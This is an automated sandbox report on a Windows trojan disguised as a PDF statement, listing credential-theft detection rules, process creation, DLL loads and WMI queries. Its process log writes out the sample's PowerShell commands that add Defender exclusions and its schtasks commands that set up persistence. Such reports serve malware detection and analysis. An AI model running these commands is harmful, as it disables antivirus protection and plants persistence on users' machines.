Source: SOA FOR APR 2024 PDF.exe	Binary or memory string: OriginalFilenameHYv.exe" vs SOA FOR APR 2024 PDF.exe

Source: SOA FOR APR 2024 PDF.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.SOA FOR APR 2024 PDF.exe.48f62c8.7.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 15.2.BjTxJte.exe.4bec170.7.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 15.2.BjTxJte.exe.4c27190.4.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 21.2.BjTxJte.exe.45fc310.7.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 10.2.eeBIYZL.exe.3fe9420.5.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 21.2.BjTxJte.exe.4637330.6.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 10.2.eeBIYZL.exe.3fae400.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.SOA FOR APR 2024 PDF.exe.48bb2a8.5.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 15.2.BjTxJte.exe.4bec170.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 15.2.BjTxJte.exe.4c27190.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.SOA FOR APR 2024 PDF.exe.48f62c8.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 10.2.eeBIYZL.exe.3fe9420.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.SOA FOR APR 2024 PDF.exe.48bb2a8.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 21.2.BjTxJte.exe.4637330.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 10.2.eeBIYZL.exe.3fae400.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 21.2.BjTxJte.exe.45fc310.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers

Source: SOA FOR APR 2024 PDF.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: eeBIYZL.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.SOA FOR APR 2024 PDF.exe.3b69970.6.raw.unpack, V4uC3Iifq56IKQcfry.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.SOA FOR APR 2024 PDF.exe.3b69970.6.raw.unpack, V4uC3Iifq56IKQcfry.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.SOA FOR APR 2024 PDF.exe.48bb2a8.5.raw.unpack, G39cBQ.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SOA FOR APR 2024 PDF.exe.48bb2a8.5.raw.unpack, G39cBQ.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SOA FOR APR 2024 PDF.exe.48bb2a8.5.raw.unpack, sDtvQjPGfa.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SOA FOR APR 2024 PDF.exe.48bb2a8.5.raw.unpack, sDtvQjPGfa.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SOA FOR APR 2024 PDF.exe.48bb2a8.5.raw.unpack, sDtvQjPGfa.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SOA FOR APR 2024 PDF.exe.48bb2a8.5.raw.unpack, sDtvQjPGfa.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SOA FOR APR 2024 PDF.exe.48bb2a8.5.raw.unpack, b1PPCKov2KZ.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SOA FOR APR 2024 PDF.exe.48bb2a8.5.raw.unpack, b1PPCKov2KZ.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'

Source: 0.2.SOA FOR APR 2024 PDF.exe.475f6b0.8.raw.unpack, URqoV1LhkZEcr5B7SE.cs	Security API names: _0020.SetAccessControl
Source: 0.2.SOA FOR APR 2024 PDF.exe.475f6b0.8.raw.unpack, URqoV1LhkZEcr5B7SE.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.SOA FOR APR 2024 PDF.exe.475f6b0.8.raw.unpack, URqoV1LhkZEcr5B7SE.cs	Security API names: _0020.AddAccessRule
Source: 0.2.SOA FOR APR 2024 PDF.exe.475f6b0.8.raw.unpack, OcGry4VRIcmlRjnwWl.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: 0.2.SOA FOR APR 2024 PDF.exe.2dc61f0.3.raw.unpack, ReactionVessel.cs	Suspicious method names: .ReactionVessel.Inject
Source: 0.2.SOA FOR APR 2024 PDF.exe.2bb1d80.0.raw.unpack, ReactionVessel.cs	Suspicious method names: .ReactionVessel.Inject
Source: 0.2.SOA FOR APR 2024 PDF.exe.2bc2120.1.raw.unpack, ReactionVessel.cs	Suspicious method names: .ReactionVessel.Inject
Source: 0.2.SOA FOR APR 2024 PDF.exe.2db5b90.2.raw.unpack, ReactionVessel.cs	Suspicious method names: .ReactionVessel.Inject
Source: 0.2.SOA FOR APR 2024 PDF.exe.53b0000.10.raw.unpack, ReactionVessel.cs	Suspicious method names: .ReactionVessel.Inject

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@33/20@2/2

Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe

File created: C:\Users\user\AppData\Roaming\eeBIYZL.exe

Jump to behavior

Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7172:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7744:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7260:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6172:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8152:120:WilError_03
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Mutant created: \Sessions\1\BaseNamedObjects\HlKnubZ
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7464:120:WilError_03

Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe

File created: C:\Users\user\AppData\Local\Temp\tmpCB26.tmp

Jump to behavior

Source: SOA FOR APR 2024 PDF.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: SOA FOR APR 2024 PDF.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.79%

Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SOA FOR APR 2024 PDF.exe	ReversingLabs: Detection: 44%
Source: SOA FOR APR 2024 PDF.exe	Virustotal: Detection: 52%

Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe

File read: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe "C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe"
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\eeBIYZL.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\eeBIYZL" /XML "C:\Users\user\AppData\Local\Temp\tmpCB26.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process created: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe "C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\eeBIYZL.exe C:\Users\user\AppData\Roaming\eeBIYZL.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\eeBIYZL" /XML "C:\Users\user\AppData\Local\Temp\tmpE2E4.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process created: C:\Users\user\AppData\Roaming\eeBIYZL.exe "C:\Users\user\AppData\Roaming\eeBIYZL.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe "C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe"
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\eeBIYZL" /XML "C:\Users\user\AppData\Local\Temp\tmp9B5.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process created: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe "C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe"
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process created: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe "C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe "C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe"
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\eeBIYZL" /XML "C:\Users\user\AppData\Local\Temp\tmp2ADA.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process created: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe "C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe"
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\eeBIYZL.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\eeBIYZL" /XML "C:\Users\user\AppData\Local\Temp\tmpCB26.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process created: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe "C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\eeBIYZL" /XML "C:\Users\user\AppData\Local\Temp\tmpE2E4.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Process created: C:\Users\user\AppData\Roaming\eeBIYZL.exe "C:\Users\user\AppData\Roaming\eeBIYZL.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\eeBIYZL" /XML "C:\Users\user\AppData\Local\Temp\tmp9B5.tmp"
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process created: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe "C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe"
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process created: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe "C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe"
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\eeBIYZL" /XML "C:\Users\user\AppData\Local\Temp\tmp2ADA.tmp"
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Process created: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe "C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe"

Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
